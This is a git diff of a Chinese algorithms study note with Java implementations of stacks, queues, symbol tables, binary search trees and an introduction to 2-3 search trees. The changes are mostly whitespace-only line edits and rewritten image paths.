-        Item item = a[--N];
+        Item item = a[--N];
 
-        check();
+        check();
 
-        // 避免对象游离
-        a[N] = null;
+        // 避免对象游离
+        a[N] = null;
 
-        return item;
-    }
+        return item;
+    }
 
 
-    private void check() {
+    private void check() {
 
-        if (N >= a.length) {
-            resize(2 * a.length);
+        if (N >= a.length) {
+            resize(2 * a.length);
 
-        } else if (N > 0 && N <= a.length / 4) {
-            resize(a.length / 2);
-        }
-    }
+        } else if (N > 0 && N <= a.length / 4) {
+            resize(a.length / 2);
+        }
+    }
 
 
-    /**
-     * 调整数组大小，使得栈具有伸缩性
-     */
-    private void resize(int size) {
+    /**
+     * 调整数组大小，使得栈具有伸缩性
+     */
+    private void resize(int size) {
 
-        Item[] tmp = (Item[]) new Object[size];
+        Item[] tmp = (Item[]) new Object[size];
 
-        for (int i = 0; i < N; i++) {
-            tmp[i] = a[i];
-        }
+        for (int i = 0; i < N; i++) {
+            tmp[i] = a[i];
+        }
 
-        a = tmp;
-    }
+        a = tmp;
+    }
 
 
-    @Override
-    public boolean isEmpty() {
-        return N == 0;
-    }
+    @Override
+    public boolean isEmpty() {
+        return N == 0;
+    }
 
 
-    @Override
-    public int size() {
-        return N;
-    }
+    @Override
+    public int size() {
+        return N;
+    }
 
 
-    @Override
-    public Iterator<Item> iterator() {
+    @Override
+    public Iterator<Item> iterator() {
 
-        // 返回逆序遍历的迭代器
-        return new Iterator<Item>() {
+        // 返回逆序遍历的迭代器
+        return new Iterator<Item>() {
 
-            private int i = N;
+            private int i = N;
 
-            @Override
-            public boolean hasNext() {
-                return i > 0;
-            }
+            @Override
+            public boolean hasNext() {
+                return i > 0;
+            }
 
-            @Override
-            public Item next() {
-                return a[--i];
-            }
-        };
+            @Override
+            public Item next() {
+                return a[--i];
+            }
+        };
 
-    }
+    }
 }
 ```
 
-### 2. 链表实现
+### 2. 链表实现
 
-需要使用链表的头插法来实现，因为头插法中最后压入栈的元素在链表的开头，它的 next 指针指向前一个压入栈的元素，在弹出元素时就可以通过 next 指针遍历到前一个压入栈的元素从而让这个元素成为新的栈顶元素。
+需要使用链表的头插法来实现，因为头插法中最后压入栈的元素在链表的开头，它的 next 指针指向前一个压入栈的元素，在弹出元素时就可以通过 next 指针遍历到前一个压入栈的元素从而让这个元素成为新的栈顶元素。
 
 ```java
-public class ListStack<Item> implements MyStack<Item> {
+public class ListStack<Item> implements MyStack<Item> {
 
-    private Node top = null;
-    private int N = 0;
+    private Node top = null;
+    private int N = 0;
 
 
-    private class Node {
-        Item item;
-        Node next;
-    }
+    private class Node {
+        Item item;
+        Node next;
+    }
 
 
-    @Override
-    public MyStack<Item> push(Item item) {
+    @Override
+    public MyStack<Item> push(Item item) {
 
-        Node newTop = new Node();
+        Node newTop = new Node();
 
-        newTop.item = item;
-        newTop.next = top;
+        newTop.item = item;
+        newTop.next = top;
 
-        top = newTop;
+        top = newTop;
 
-        N++;
+        N++;
 
-        return this;
-    }
+        return this;
+    }
 
 
-    @Override
-    public Item pop() throws Exception {
+    @Override
+    public Item pop() throws Exception {
 
-        if (isEmpty()) {
-            throw new Exception("stack is empty");
-        }
+        if (isEmpty()) {
+            throw new Exception("stack is empty");
+        }
 
-        Item item = top.item;
+        Item item = top.item;
 
-        top = top.next;
-        N--;
+        top = top.next;
+        N--;
 
-        return item;
-    }
+        return item;
+    }
 
 
-    @Override
-    public boolean isEmpty() {
-        return N == 0;
-    }
+    @Override
+    public boolean isEmpty() {
+        return N == 0;
+    }
 
 
-    @Override
-    public int size() {
-        return N;
-    }
+    @Override
+    public int size() {
+        return N;
+    }
 
 
-    @Override
-    public Iterator<Item> iterator() {
+    @Override
+    public Iterator<Item> iterator() {
 
-        return new Iterator<Item>() {
+        return new Iterator<Item>() {
 
-            private Node cur = top;
+            private Node cur = top;
 
 
-            @Override
-            public boolean hasNext() {
-                return cur != null;
-            }
+            @Override
+            public boolean hasNext() {
+                return cur != null;
+            }
 
 
-            @Override
-            public Item next() {
-                Item item = cur.item;
-                cur = cur.next;
-                return item;
-            }
-        };
+            @Override
+            public Item next() {
+                Item item = cur.item;
+                cur = cur.next;
+                return item;
+            }
+        };
 
-    }
+    }
 }
 ```
 
-## 队列
+## 队列
 
-下面是队列的链表实现，需要维护 first 和 last 节点指针，分别指向队首和队尾。
+下面是队列的链表实现，需要维护 first 和 last 节点指针，分别指向队首和队尾。
 
-这里需要考虑 first 和 last 指针哪个作为链表的开头。因为出队列操作需要让队首元素的下一个元素成为队首，所以需要容易获取下一个元素，而链表的头部节点的 next 指针指向下一个元素，因此可以让 first 指针链表的开头。
+这里需要考虑 first 和 last 指针哪个作为链表的开头。因为出队列操作需要让队首元素的下一个元素成为队首，所以需要容易获取下一个元素，而链表的头部节点的 next 指针指向下一个元素，因此可以让 first 指针链表的开头。
 
 ```java
-public interface MyQueue<Item> extends Iterable<Item> {
+public interface MyQueue<Item> extends Iterable<Item> {
 
-    int size();
+    int size();
 
-    boolean isEmpty();
+    boolean isEmpty();
 
-    MyQueue<Item> add(Item item);
+    MyQueue<Item> add(Item item);
 
-    Item remove() throws Exception;
+    Item remove() throws Exception;
 }
 ```
 
 ```java
-public class ListQueue<Item> implements MyQueue<Item> {
+public class ListQueue<Item> implements MyQueue<Item> {
 
-    private Node first;
-    private Node last;
-    int N = 0;
+    private Node first;
+    private Node last;
+    int N = 0;
 
 
-    private class Node {
-        Item item;
-        Node next;
-    }
+    private class Node {
+        Item item;
+        Node next;
+    }
 
 
-    @Override
-    public boolean isEmpty() {
-        return N == 0;
-    }
+    @Override
+    public boolean isEmpty() {
+        return N == 0;
+    }
 
 
-    @Override
-    public int size() {
-        return N;
-    }
+    @Override
+    public int size() {
+        return N;
+    }
 
 
-    @Override
-    public MyQueue<Item> add(Item item) {
+    @Override
+    public MyQueue<Item> add(Item item) {
 
-        Node newNode = new Node();
-        newNode.item = item;
-        newNode.next = null;
+        Node newNode = new Node();
+        newNode.item = item;
+        newNode.next = null;
 
-        if (isEmpty()) {
-            last = newNode;
-            first = newNode;
-        } else {
-            last.next = newNode;
-            last = newNode;
-        }
+        if (isEmpty()) {
+            last = newNode;
+            first = newNode;
+        } else {
+            last.next = newNode;
+            last = newNode;
+        }
 
-        N++;
-        return this;
-    }
+        N++;
+        return this;
+    }
 
 
-    @Override
-    public Item remove() throws Exception {
+    @Override
+    public Item remove() throws Exception {
 
-        if (isEmpty()) {
-            throw new Exception("queue is empty");
-        }
+        if (isEmpty()) {
+            throw new Exception("queue is empty");
+        }
 
-        Node node = first;
-        first = first.next;
-        N--;
+        Node node = first;
+        first = first.next;
+        N--;
 
-        if (isEmpty()) {
-            last = null;
-        }
+        if (isEmpty()) {
+            last = null;
+        }
 
-        return node.item;
-    }
+        return node.item;
+    }
 
 
-    @Override
-    public Iterator<Item> iterator() {
+    @Override
+    public Iterator<Item> iterator() {
 
-        return new Iterator<Item>() {
+        return new Iterator<Item>() {
 
-            Node cur = first;
+            Node cur = first;
 
 
-            @Override
-            public boolean hasNext() {
-                return cur != null;
-            }
+            @Override
+            public boolean hasNext() {
+                return cur != null;
+            }
 
 
-            @Override
-            public Item next() {
-                Item item = cur.item;
-                cur = cur.next;
-                return item;
-            }
-        };
-    }
+            @Override
+            public Item next() {
+                Item item = cur.item;
+                cur = cur.next;
+                return item;
+            }
+        };
+    }
 }
 ```
 
@@ -1324,1042 +1284,1087 @@ public class ListQueue<Item> implements MyQueue<Item> {
 
 
 
-# 六、符号表
+# 六、符号表
 
-符号表（Symbol Table）是一种存储键值对的数据结构，可以支持快速查找操作。
+符号表（Symbol Table）是一种存储键值对的数据结构，可以支持快速查找操作。
 
-符号表分为有序和无序两种，有序符号表主要指支持 min()、max() 等根据键的大小关系来实现的操作。
+符号表分为有序和无序两种，有序符号表主要指支持 min()、max() 等根据键的大小关系来实现的操作。
 
-有序符号表的键需要实现 Comparable 接口。
+有序符号表的键需要实现 Comparable 接口。
 
 ```java
-public interface UnorderedST<Key, Value> {
+public interface UnorderedST<Key, Value> {
 
-    int size();
+    int size();
 
-    Value get(Key key);
+    Value get(Key key);
 
-    void put(Key key, Value value);
+    void put(Key key, Value value);
 
-    void delete(Key key);
+    void delete(Key key);
 }
 ```
 
 ```java
-public interface OrderedST<Key extends Comparable<Key>, Value> {
+public interface OrderedST<Key extends Comparable<Key>, Value> {
 
-    int size();
+    int size();
 
-    void put(Key key, Value value);
+    void put(Key key, Value value);
 
-    Value get(Key key);
+    Value get(Key key);
 
-    Key min();
+    Key min();
 
-    Key max();
+    Key max();
 
-    int rank(Key key);
+    int rank(Key key);
 
-    List<Key> keys(Key l, Key h);
+    List<Key> keys(Key l, Key h);
 }
 ```
 
-## 初级实现
+## 初级实现
 
-### 1. 链表实现无序符号表
+### 1. 链表实现无序符号表
 
 ```java
-public class ListUnorderedST<Key, Value> implements UnorderedST<Key, Value> {
+public class ListUnorderedST<Key, Value> implements UnorderedST<Key, Value> {
 
-    private Node first;
+    private Node first;
 
-    private class Node {
-        Key key;
-        Value value;
-        Node next;
+    private class Node {
+        Key key;
+        Value value;
+        Node next;
 
-        Node(Key key, Value value, Node next) {
-            this.key = key;
-            this.value = value;
-            this.next = next;
-        }
-    }
+        Node(Key key, Value value, Node next) {
+            this.key = key;
+            this.value = value;
+            this.next = next;
+        }
+    }
 
-    @Override
-    public int size() {
-        int cnt = 0;
-        Node cur = first;
-        while (cur != null) {
-            cnt++;
-            cur = cur.next;
-        }
-        return cnt;
-    }
+    @Override
+    public int size() {
+        int cnt = 0;
+        Node cur = first;
+        while (cur != null) {
+            cnt++;
+            cur = cur.next;
+        }
+        return cnt;
+    }
 
-    @Override
-    public void put(Key key, Value value) {
-        Node cur = first;
-        // 如果在链表中找到节点的键等于 key 就更新这个节点的值为 value
-        while (cur != null) {
-            if (cur.key.equals(key)) {
-                cur.value = value;
-                return;
-            }
-            cur = cur.next;
-        }
-        // 否则使用头插法插入一个新节点
-        first = new Node(key, value, first);
-    }
+    @Override
+    public void put(Key key, Value value) {
+        Node cur = first;
+        // 如果在链表中找到节点的键等于 key 就更新这个节点的值为 value
+        while (cur != null) {
+            if (cur.key.equals(key)) {
+                cur.value = value;
+                return;
+            }
+            cur = cur.next;
+        }
+        // 否则使用头插法插入一个新节点
+        first = new Node(key, value, first);
+    }
 
-    @Override
-    public void delete(Key key) {
-        if (first == null)
-            return;
-        if (first.key.equals(key))
-            first = first.next;
-        Node pre = first, cur = first.next;
-        while (cur != null) {
-            if (cur.key.equals(key)) {
-                pre.next = cur.next;
-                return;
-            }
-            pre = pre.next;
-            cur = cur.next;
-        }
-    }
+    @Override
+    public void delete(Key key) {
+        if (first == null)
+            return;
+        if (first.key.equals(key))
+            first = first.next;
+        Node pre = first, cur = first.next;
+        while (cur != null) {
+            if (cur.key.equals(key)) {
+                pre.next = cur.next;
+                return;
+            }
+            pre = pre.next;
+            cur = cur.next;
+        }
+    }
 
-    @Override
-    public Value get(Key key) {
-        Node cur = first;
-        while (cur != null) {
-            if (cur.key.equals(key))
-                return cur.value;
-            cur = cur.next;
-        }
-        return null;
-    }
+    @Override
+    public Value get(Key key) {
+        Node cur = first;
+        while (cur != null) {
+            if (cur.key.equals(key))
+                return cur.value;
+            cur = cur.next;
+        }
+        return null;
+    }
 }
 ```
 
-### 2. 二分查找实现有序符号表
+### 2. 二分查找实现有序符号表
 
 使用一对平行数组，一个存储键一个存储值。
 
-二分查找的 rank() 方法至关重要，当键在表中时，它能够知道该键的位置；当键不在表中时，它也能知道在何处插入新键。
+二分查找的 rank() 方法至关重要，当键在表中时，它能够知道该键的位置；当键不在表中时，它也能知道在何处插入新键。
 
-二分查找最多需要 logN+1 次比较，使用二分查找实现的符号表的查找操作所需要的时间最多是对数级别的。但是插入操作需要移动数组元素，是线性级别的。
+二分查找最多需要 logN+1 次比较，使用二分查找实现的符号表的查找操作所需要的时间最多是对数级别的。但是插入操作需要移动数组元素，是线性级别的。
 
 ```java
-public class BinarySearchOrderedST<Key extends Comparable<Key>, Value> implements OrderedST<Key, Value> {
+public class BinarySearchOrderedST<Key extends Comparable<Key>, Value> implements OrderedST<Key, Value> {
 
-    private Key[] keys;
-    private Value[] values;
-    private int N = 0;
+    private Key[] keys;
+    private Value[] values;
+    private int N = 0;
 
-    public BinarySearchOrderedST(int capacity) {
-        keys = (Key[]) new Comparable[capacity];
-        values = (Value[]) new Object[capacity];
-    }
+    public BinarySearchOrderedST(int capacity) {
+        keys = (Key[]) new Comparable[capacity];
+        values = (Value[]) new Object[capacity];
+    }
 
-    @Override
-    public int size() {
-        return N;
-    }
+    @Override
+    public int size() {
+        return N;
+    }
 
-    @Override
-    public int rank(Key key) {
-        int l = 0, h = N - 1;
-        while (l <= h) {
-            int m = l + (h - l) / 2;
-            int cmp = key.compareTo(keys[m]);
-            if (cmp == 0)
-                return m;
-            else if (cmp < 0)
-                h = m - 1;
-            else
-                l = m + 1;
-        }
-        return l;
-    }
+    @Override
+    public int rank(Key key) {
+        int l = 0, h = N - 1;
+        while (l <= h) {
+            int m = l + (h - l) / 2;
+            int cmp = key.compareTo(keys[m]);
+            if (cmp == 0)
+                return m;
+            else if (cmp < 0)
+                h = m - 1;
+            else
+                l = m + 1;
+        }
+        return l;
+    }
 
-    @Override
-    public List<Key> keys(Key l, Key h) {
-        int index = rank(l);
-        List<Key> list = new ArrayList<>();
-        while (keys[index].compareTo(h) <= 0) {
-            list.add(keys[index]);
-            index++;
-        }
-        return list;
-    }
+    @Override
+    public List<Key> keys(Key l, Key h) {
+        int index = rank(l);
+        List<Key> list = new ArrayList<>();
+        while (keys[index].compareTo(h) <= 0) {
+            list.add(keys[index]);
+            index++;
+        }
+        return list;
+    }
 
-    @Override
-    public void put(Key key, Value value) {
-        int index = rank(key);
-        // 如果找到已经存在的节点键为 key，就更新这个节点的值为 value
-        if (index < N && keys[index].compareTo(key) == 0) {
-            values[index] = value;
-            return;
-        }
-        // 否则在数组中插入新的节点，需要先将插入位置之后的元素都向后移动一个位置
-        for (int j = N; j > index; j--) {
-            keys[j] = keys[j - 1];
-            values[j] = values[j - 1];
-        }
-        keys[index] = key;
-        values[index] = value;
-        N++;
-    }
+    @Override
+    public void put(Key key, Value value) {
+        int index = rank(key);
+        // 如果找到已经存在的节点键为 key，就更新这个节点的值为 value
+        if (index < N && keys[index].compareTo(key) == 0) {
+            values[index] = value;
+            return;
+        }
+        // 否则在数组中插入新的节点，需要先将插入位置之后的元素都向后移动一个位置
+        for (int j = N; j > index; j--) {
+            keys[j] = keys[j - 1];
+            values[j] = values[j - 1];
+        }
+        keys[index] = key;
+        values[index] = value;
+        N++;
+    }
 
-    @Override
-    public Value get(Key key) {
-        int index = rank(key);
-        if (index < N && keys[index].compareTo(key) == 0)
-            return values[index];
-        return null;
-    }
+    @Override
+    public Value get(Key key) {
+        int index = rank(key);
+        if (index < N && keys[index].compareTo(key) == 0)
+            return values[index];
+        return null;
+    }
 
-    @Override
-    public Key min() {
-        return keys[0];
-    }
+    @Override
+    public Key min() {
+        return keys[0];
+    }
 
-    @Override
-    public Key max() {
-        return keys[N - 1];
-    }
+    @Override
+    public Key max() {
+        return keys[N - 1];
+    }
 }
 ```
 
-## 二叉查找树
+## 二叉查找树
 
-**二叉树**  是一个空链接，或者是一个有左右两个链接的节点，每个链接都指向一颗子二叉树。
+**二叉树** 是一个空链接，或者是一个有左右两个链接的节点，每个链接都指向一颗子二叉树。
 
-<div align="center"> <img src="pics/f9f9f993-8ece-4da7-b848-af9b438fad76.png" width="200"/> </div><br>
+<img src="index_files/f9f9f993-8ece-4da7-b848-af9b438fad76.png" width="200"/>
 
-**二叉查找树** （BST）是一颗二叉树，并且每个节点的值都大于等于其左子树中的所有节点的值而小于等于右子树的所有节点的值。
+**二叉查找树**（BST）是一颗二叉树，并且每个节点的值都大于等于其左子树中的所有节点的值而小于等于右子树的所有节点的值。
 
-<div align="center"> <img src="pics/8ae4550b-f0cb-4e4d-9e2b-c550538bf230.png" width="200"/> </div><br>
+<img src="index_files/8ae4550b-f0cb-4e4d-9e2b-c550538bf230.png" width="200"/>
 
-BST 有一个重要性质，就是它的中序遍历结果递增排序。
+BST 有一个重要性质，就是它的中序遍历结果递增排序。
 
-<div align="center"> <img src="pics/fbe54203-c005-48f0-8883-b05e564a3173.png" width="200"/> </div><br>
+<img src="index_files/fbe54203-c005-48f0-8883-b05e564a3173.png" width="200"/>
 
 基本数据结构：
 
 ```java
-public class BST<Key extends Comparable<Key>, Value> implements OrderedST<Key, Value> {
+public class BST<Key extends Comparable<Key>, Value> implements OrderedST<Key, Value> {
 
-    protected Node root;
+    protected Node root;
 
-    protected class Node {
-        Key key;
-        Value val;
-        Node left;
-        Node right;
-        // 以该节点为根的子树节点总数
-        int N;
-        // 红黑树中使用
-        boolean color;
+    protected class Node {
+        Key key;
+        Value val;
+        Node left;
+        Node right;
+        // 以该节点为根的子树节点总数
+        int N;
+        // 红黑树中使用
+        boolean color;
 
-        Node(Key key, Value val, int N) {
-            this.key = key;
-            this.val = val;
-            this.N = N;
-        }
-    }
+        Node(Key key, Value val, int N) {
+            this.key = key;
+            this.val = val;
+            this.N = N;
+        }
+    }
 
-    @Override
-    public int size() {
-        return size(root);
-    }
+    @Override
+    public int size() {
+        return size(root);
+    }
 
-    private int size(Node x) {
-        if (x == null)
-            return 0;
-        return x.N;
-    }
+    private int size(Node x) {
+        if (x == null)
+            return 0;
+        return x.N;
+    }
 
-    protected void recalculateSize(Node x) {
-        x.N = size(x.left) + size(x.right) + 1;
-    }
+    protected void recalculateSize(Node x) {
+        x.N = size(x.left) + size(x.right) + 1;
+    }
 }
 ```
 
 为了方便绘图，下文中二叉树的空链接不画出来。
 
-### 1. get()
+### 1. get()
 
-- 如果树是空的，则查找未命中；
-- 如果被查找的键和根节点的键相等，查找命中；
-- 否则递归地在子树中查找：如果被查找的键较小就在左子树中查找，较大就在右子树中查找。
+- 如果树是空的，则查找未命中；
+- 如果被查找的键和根节点的键相等，查找命中；
+- 否则递归地在子树中查找：如果被查找的键较小就在左子树中查找，较大就在右子树中查找。
 
 ```java
 @Override
-public Value get(Key key) {
-    return get(root, key);
+public Value get(Key key) {
+    return get(root, key);
 }
 
-private Value get(Node x, Key key) {
-    if (x == null)
-        return null;
-    int cmp = key.compareTo(x.key);
-    if (cmp == 0)
-        return x.val;
-    else if (cmp < 0)
-        return get(x.left, key);
-    else
-        return get(x.right, key);
+private Value get(Node x, Key key) {
+    if (x == null)
+        return null;
+    int cmp = key.compareTo(x.key);
+    if (cmp == 0)
+        return x.val;
+    else if (cmp < 0)
+        return get(x.left, key);
+    else
+        return get(x.right, key);
 }
 ```
 
-### 2. put()
+### 2. put()
 
 当插入的键不存在于树中，需要创建一个新节点，并且更新上层节点的链接指向该节点，使得该节点正确地链接到树中。
 
-<div align="center"> <img src="pics/107a6a2b-f15b-4cad-bced-b7fb95258c9c.png" width="200"/> </div><br>
+<img src="index_files/107a6a2b-f15b-4cad-bced-b7fb95258c9c.png" width="200"/>
 
 ```java
- @Override
-public void put(Key key, Value value) {
-    root = put(root, key, value);
+ @Override
+public void put(Key key, Value value) {
+    root = put(root, key, value);
 }
 
-private Node put(Node x, Key key, Value value) {
-    if (x == null)
-        return new Node(key, value, 1);
-    int cmp = key.compareTo(x.key);
-    if (cmp == 0)
-        x.val = value;
-    else if (cmp < 0)
-        x.left = put(x.left, key, value);
-    else
-        x.right = put(x.right, key, value);
-    recalculateSize(x);
-    return x;
+private Node put(Node x, Key key, Value value) {
+    if (x == null)
+        return new Node(key, value, 1);
+    int cmp = key.compareTo(x.key);
+    if (cmp == 0)
+        x.val = value;
+    else if (cmp < 0)
+        x.left = put(x.left, key, value);
+    else
+        x.right = put(x.right, key, value);
+    recalculateSize(x);
+    return x;
 }
 ```
 
-### 3. 分析
+### 3. 分析
 
 二叉查找树的算法运行时间取决于树的形状，而树的形状又取决于键被插入的先后顺序。
 
-最好的情况下树是完全平衡的，每条空链接和根节点的距离都为 logN。
+最好的情况下树是完全平衡的，每条空链接和根节点的距离都为 logN。
 
-<div align="center"> <img src="pics/4d741402-344d-4b7c-be01-e57184bcad0e.png" width="200"/> </div><br>
+<img src="index_files/4d741402-344d-4b7c-be01-e57184bcad0e.png" width="200"/>
 
-在最坏的情况下，树的高度为 N。
+在最坏的情况下，树的高度为 N。
 
-<div align="center"> <img src="pics/be7dca03-12ec-456b-8b54-b1b3161f5531.png" width="200"/> </div><br>
+<img src="index_files/be7dca03-12ec-456b-8b54-b1b3161f5531.png" width="200"/>
 
-### 4. floor()
+### 4. floor()
 
 floor(key)：小于等于键的最大键
 
-- 如果键小于根节点的键，那么 floor(key) 一定在左子树中；
-- 如果键大于根节点的键，需要先判断右子树中是否存在 floor(key)，如果存在就返回，否则根节点就是 floor(key)。
+- 如果键小于根节点的键，那么 floor(key) 一定在左子树中；
+- 如果键大于根节点的键，需要先判断右子树中是否存在 floor(key)，如果存在就返回，否则根节点就是 floor(key)。
 
 ```java
-public Key floor(Key key) {
-    Node x = floor(root, key);
-    if (x == null)
-        return null;
-    return x.key;
+public Key floor(Key key) {
+    Node x = floor(root, key);
+    if (x == null)
+        return null;
+    return x.key;
 }
 
-private Node floor(Node x, Key key) {
-    if (x == null)
-        return null;
-    int cmp = key.compareTo(x.key);
-    if (cmp == 0)
-        return x;
-    if (cmp < 0)
-        return floor(x.left, key);
-    Node t = floor(x.right, key);
-    return t != null ? t : x;
+private Node floor(Node x, Key key) {
+    if (x == null)
+        return null;
+    int cmp = key.compareTo(x.key);
+    if (cmp == 0)
+        return x;
+    if (cmp < 0)
+        return floor(x.left, key);
+    Node t = floor(x.right, key);
+    return t != null ? t : x;
 }
 ```
 
-### 5. rank()
+### 5. rank()
 
-rank(key) 返回 key 的排名。
+rank(key) 返回 key 的排名。
 
-- 如果键和根节点的键相等，返回左子树的节点数；
-- 如果小于，递归计算在左子树中的排名；
-- 如果大于，递归计算在右子树中的排名，加上左子树的节点数，再加上 1（根节点）。
+- 如果键和根节点的键相等，返回左子树的节点数；
+- 如果小于，递归计算在左子树中的排名；
+- 如果大于，递归计算在右子树中的排名，加上左子树的节点数，再加上 1（根节点）。
 
 ```java
 @Override
-public int rank(Key key) {
-    return rank(key, root);
+public int rank(Key key) {
+    return rank(key, root);
 }
 
-private int rank(Key key, Node x) {
-    if (x == null)
-        return 0;
-    int cmp = key.compareTo(x.key);
-    if (cmp == 0)
-        return size(x.left);
-    else if (cmp < 0)
-        return rank(key, x.left);
-    else
-        return 1 + size(x.left) + rank(key, x.right);
+private int rank(Key key, Node x) {
+    if (x == null)
+        return 0;
+    int cmp = key.compareTo(x.key);
+    if (cmp == 0)
+        return size(x.left);
+    else if (cmp < 0)
+        return rank(key, x.left);
+    else
+        return 1 + size(x.left) + rank(key, x.right);
 }
 ```
 
-### 6. min()
+### 6. min()
 
 ```java
 @Override
-public Key min() {
-    return min(root).key;
+public Key min() {
+    return min(root).key;
 }
 
-private Node min(Node x) {
-    if (x == null)
-        return null;
-    if (x.left == null)
-        return x;
-    return min(x.left);
+private Node min(Node x) {
+    if (x == null)
+        return null;
+    if (x.left == null)
+        return x;
+    return min(x.left);
 }
 ```
 
-### 7. deleteMin()
+### 7. deleteMin()
 
 令指向最小节点的链接指向最小节点的右子树。
 
-<div align="center"> <img src="pics/dd15a984-e977-4644-b127-708cddb8ca99.png" width="500"/> </div><br>
+<img src="index_files/dd15a984-e977-4644-b127-708cddb8ca99.png" width="500"/>
 
 ```java
-public void deleteMin() {
-    root = deleteMin(root);
+public void deleteMin() {
+    root = deleteMin(root);
 }
 
-public Node deleteMin(Node x) {
-    if (x.left == null)
-        return x.right;
-    x.left = deleteMin(x.left);
-    recalculateSize(x);
-    return x;
+public Node deleteMin(Node x) {
+    if (x.left == null)
+        return x.right;
+    x.left = deleteMin(x.left);
+    recalculateSize(x);
+    return x;
 }
 ```
 
-### 8. delete()
+### 8. delete()
 
-- 如果待删除的节点只有一个子树，  那么只需要让指向待删除节点的链接指向唯一的子树即可；
-- 否则，让右子树的最小节点替换该节点。
+- 如果待删除的节点只有一个子树，  那么只需要让指向待删除节点的链接指向唯一的子树即可；
+- 否则，让右子树的最小节点替换该节点。
 
-<div align="center"> <img src="pics/fa568fac-ac58-48dd-a9bb-23b3065bf2dc.png" width="400"/> </div><br>
+<img src="index_files/fa568fac-ac58-48dd-a9bb-23b3065bf2dc.png" width="400"/>
 
 ```java
-public void delete(Key key) {
-    root = delete(root, key);
+public void delete(Key key) {
+    root = delete(root, key);
 }
-private Node delete(Node x, Key key) {
-    if (x == null)
-        return null;
-    int cmp = key.compareTo(x.key);
-    if (cmp < 0)
-        x.left = delete(x.left, key);
-    else if (cmp > 0)
-        x.right = delete(x.right, key);
-    else {
-        if (x.right == null)
-            return x.left;
-        if (x.left == null)
-            return x.right;
-        Node t = x;
-        x = min(t.right);
-        x.right = deleteMin(t.right);
-        x.left = t.left;
-    }
-    recalculateSize(x);
-    return x;
+private Node delete(Node x, Key key) {
+    if (x == null)
+        return null;
+    int cmp = key.compareTo(x.key);
+    if (cmp < 0)
+        x.left = delete(x.left, key);
+    else if (cmp > 0)
+        x.right = delete(x.right, key);
+    else {
+        if (x.right == null)
+            return x.left;
+        if (x.left == null)
+            return x.right;
+        Node t = x;
+        x = min(t.right);
+        x.right = deleteMin(t.right);
+        x.left = t.left;
+    }
+    recalculateSize(x);
+    return x;
 }
 ```
 
-### 9. keys()
+### 9. keys()
 
 利用二叉查找树中序遍历的结果为递增的特点。
 
 ```java
 @Override
-public List<Key> keys(Key l, Key h) {
-    return keys(root, l, h);
+public List<Key> keys(Key l, Key h) {
+    return keys(root, l, h);
 }
 
-private List<Key> keys(Node x, Key l, Key h) {
-    List<Key> list = new ArrayList<>();
-    if (x == null)
-        return list;
-    int cmpL = l.compareTo(x.key);
-    int cmpH = h.compareTo(x.key);
-    if (cmpL < 0)
-        list.addAll(keys(x.left, l, h));
-    if (cmpL <= 0 && cmpH >= 0)
-        list.add(x.key);
-    if (cmpH > 0)
-        list.addAll(keys(x.right, l, h));
-    return list;
+private List<Key> keys(Node x, Key l, Key h) {
+    List<Key> list = new ArrayList<>();
+    if (x == null)
+        return list;
+    int cmpL = l.compareTo(x.key);
+    int cmpH = h.compareTo(x.key);
+    if (cmpL < 0)
+        list.addAll(keys(x.left, l, h));
+    if (cmpL <= 0 && cmpH >= 0)
+        list.add(x.key);
+    if (cmpH > 0)
+        list.addAll(keys(x.right, l, h));
+    return list;
 }
 ```
 
-### 10. 分析
+### 10. 分析
 
 二叉查找树所有操作在最坏的情况下所需要的时间都和树的高度成正比。
 
-## 2-3 查找树
+## 2-3 查找树
 
-2-3 查找树引入了 2- 节点和 3- 节点，目的是为了让树平衡。一颗完美平衡的 2-3 查找树的所有空链接到根节点的距离应该是相同的。
+2-3 查找树引入了 2- 节点和 3- 节点，目的是为了让树平衡。一颗完美平衡的 2-3 查找树的所有空链接到根节点的距离应该是相同的。
 
-<div align="center"> <img src="pics/ff396233-1bb1-4e74-8bc2-d7c90146f5dd.png" width="250"/> </div><br>
+<img src="index_files/ff396233-1bb1-4e74-8bc2-d7c90146f5dd.png" width="250"/>
 
-### 1. 插入操作
+### 1. 插入操作
 
-插入操作和 BST 的插入操作有很大区别，BST 的插入操作是先进行一次未命中的查找，然后再将节点插入到对应的空链接上。但是 2-3 查找树如果也这么做的话，那么就会破坏了平衡性。它是将新节点插入到叶子节点上。
+插入操作和 BST 的插入操作有很大区别，BST 的插入操作是先进行一次未命中的查找，然后再将节点插入到对应的空链接上。但是 2-3 查找树如果也这么做的话，那么就会破坏了平衡性。它是将新节点插入到叶子节点上。
 
 根据叶子节点的类型不同，有不同的处理方式：
 
-- 如果插入到 2- 节点上，那么直接将新节点和原来的节点组成 3- 节点即可。
+- 如果插入到 2- 节点上，那么直接将新节点和原来的节点组成 3- 节点即可。
 
-<div align="center"> <img src="pics/7f38a583-2f2e-4738-97af-510e6fb403a7.png" width="400"/> </div><br>
+<img src="index_files/7f38a583-2f2e-4738-97af-510e6fb403a7.png" width="400"/>
 
-- 如果是插入到 3- 节点上，就会产生一个临时 4- 节点时，需要将 4- 节点分裂成 3 个 2- 节点，并将中间的 2- 节点移到上层节点中。如果上移操作继续产生临时 4- 节点则一直进行分裂上移，直到不存在临时 4- 节点。
+- 如果是插入到 3- 节点上，就会产生一个临时 4- 节点时，需要将 4- 节点分裂成 3 个 2- 节点，并将中间的 2- 节点移到上层节点中。如果上移操作继续产生临时 4- 节点则一直进行分裂上移，直到不存在临时 4- 节点。
 
-<div align="center"> <img src="pics/ef280699-da36-4b38-9735-9b048a3c7fe0.png" width="500"/> </div><br>
+<img src="index_files/ef280699-da36-4b38-9735-9b048a3c7fe0.png" width="500"/>
 
-### 2. 性质
+### 2. 性质
 
-2-3 查找树插入操作的变换都是局部的，除了相关的节点和链接之外不必修改或者检查树的其它部分，而这些局部变换不会影响树的全局有序性和平衡性。
+2-3 查找树插入操作的变换都是局部的，除了相关的节点和链接之外不必修改或者检查树的其它部分，而这些局部变换不会影响树的全局有序性和平衡性。
 
-2-3 查找树的查找和插入操作复杂度和插入顺序无关，在最坏的情况下查找和插入操作访问的节点必然不超过 logN 个，含有 10 亿个节点的 2-3 查找树最多只需要访问 30 个节点就能进行任意的查找和插入操作。
+2-3 查找树的查找和插入操作复杂度和插入顺序无关，在最坏的情况下查找和插入操作访问的节点必然不超过 logN 个，含有 10 亿个节点的 2-3 查找树最多只需要访问 30 个节点就能进行任意的查找和插入操作。
 
-## 红黑树
+## 红黑树
 
